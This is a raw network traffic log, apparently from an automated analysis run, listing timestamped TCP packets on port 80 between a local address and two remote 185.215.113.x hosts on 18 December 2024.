Dec 18, 2024 15:21:34.063952923 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.064925909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.065095901 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.065135002 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.065160036 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.065983057 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.066039085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.066112995 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.066157103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.066829920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.066886902 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.066979885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.067109108 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.067914963 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.067966938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.068047047 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.068094969 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.069114923 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.069160938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.069272995 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.069318056 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.070106983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.070167065 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.070168018 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.070209980 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.071156979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.071209908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.071224928 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.071269989 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.072223902 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.072277069 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.072329044 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.072374105 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.073458910 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.073508024 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.073513031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.073559999 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.074376106 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.074435949 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.074459076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.074506998 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.075401068 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.075455904 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.075494051 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.075539112 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.076633930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.076741934 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.076770067 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.076792002 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.077861071 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.077915907 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.077994108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.078037024 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.078794956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.078845978 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.078900099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.079052925 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.079646111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.079768896 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.079777956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.079818964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.080703974 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.080760002 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.080763102 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.080832005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.081763983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.081871986 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.081945896 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.082201958 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.082815886 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.082906961 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.083030939 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.083081961 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.083895922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.083950996 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.220101118 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.220148087 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.220187902 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.220284939 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.220530987 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.220586061 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.220671892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.220808029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.220864058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.221764088 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.221862078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.221934080 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.221999884 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.222935915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.223026991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.223092079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.223968029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.224045992 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.224116087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.225106955 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.225173950 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.225265980 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.226222992 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.226288080 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.226336956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.227153063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.227205992 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.227215052 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.227257013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.228142977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.228259087 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.228480101 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.229264975 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.229362011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.229424000 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.230295897 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.230356932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.230407000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.231369972 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.231424093 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.231431961 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.232450008 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.232506990 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.232520103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.232569933 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.233494997 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.233618975 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.233683109 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.234576941 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.234632015 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.234699965 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.235631943 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.235728025 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.235794067 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.236671925 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.236818075 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.236885071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.237808943 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.237874031 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.237947941 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.238843918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.238976002 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.239002943 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.239897013 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.239969015 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.240034103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.241122961 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.241203070 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.241209030 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.241261959 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.242100954 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.242239952 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.242299080 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.243088007 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.243365049 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.243426085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.244343996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.244446993 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.244504929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.245477915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.245569944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.245625973 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.246532917 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.246589899 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.246660948 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.247337103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.247591019 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.247646093 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.247714996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.247770071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.248655081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.248709917 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.248785973 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.249659061 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.249696016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.249723911 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.249759912 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.250650883 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.250684023 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.250741005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.251583099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.251698017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.251754999 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.252710104 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.252795935 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.252846003 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.253751040 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.253962994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.254008055 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.254949093 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.254992962 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.255058050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.256031990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.256078959 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.256134987 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.256258011 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.257054090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.257280111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.257328033 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.258035898 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.258119106 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.258167028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.259108067 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.259152889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.259236097 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.260205984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.260241985 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.260262012 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.260294914 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.261187077 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.261285067 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.261344910 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.262264013 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.262536049 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.262593985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.263432026 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.263479948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.263545990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.264619112 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.264673948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.264728069 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.265259981 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.265681028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.265727043 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.265742064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.266704082 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.266762018 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.266798019 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.267908096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.267961025 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.268039942 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.268074989 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.268985987 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.269193888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.269248962 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.270098925 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.270308018 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.270361900 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.271500111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.271562099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.271617889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.272577047 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.272635937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.272661924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.273591042 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.273643970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.273770094 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.275322914 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.275379896 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.275388002 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.275424957 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.276273012 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.276292086 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.276341915 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.296509027 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:34.299321890 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:34.412221909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.412244081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.412333012 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.412662983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.412774086 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.412825108 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.413691998 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.413748026 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.413781881 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.414372921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.414839029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.414886951 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.414915085 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.414964914 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.416429996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.416486979 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.416629076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.416671991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.417525053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.417576075 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.417578936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.417627096 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.418502092 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.418551922 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.418620110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.419166088 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.419727087 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.419832945 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.419883013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.420711994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.420772076 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.420912027 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.420964003 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.421905994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.421979904 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.422009945 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.422090054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.422915936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.422969103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.422970057 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.423105001 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.423624992 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.423676014 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.423743010 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.423815012 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.424607038 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.424660921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.424761057 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.424813032 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.425730944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.425780058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.425782919 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.425825119 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.426616907 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.426671982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.426712990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.426781893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.428092957 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.428153038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.428160906 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.429083109 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.429136038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.429203987 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.430126905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.430180073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.430183887 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.430222988 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.430847883 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.430898905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.430900097 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.430939913 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.431900978 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.432020903 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.432085991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.432135105 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.433015108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.433156967 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.433209896 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.434082985 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.434144020 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.434223890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.434269905 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.435153008 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.435204029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.435215950 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.435352087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.436136961 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.436229944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.436239958 CET	49817	80	192.168.2.5	185.215.113.16
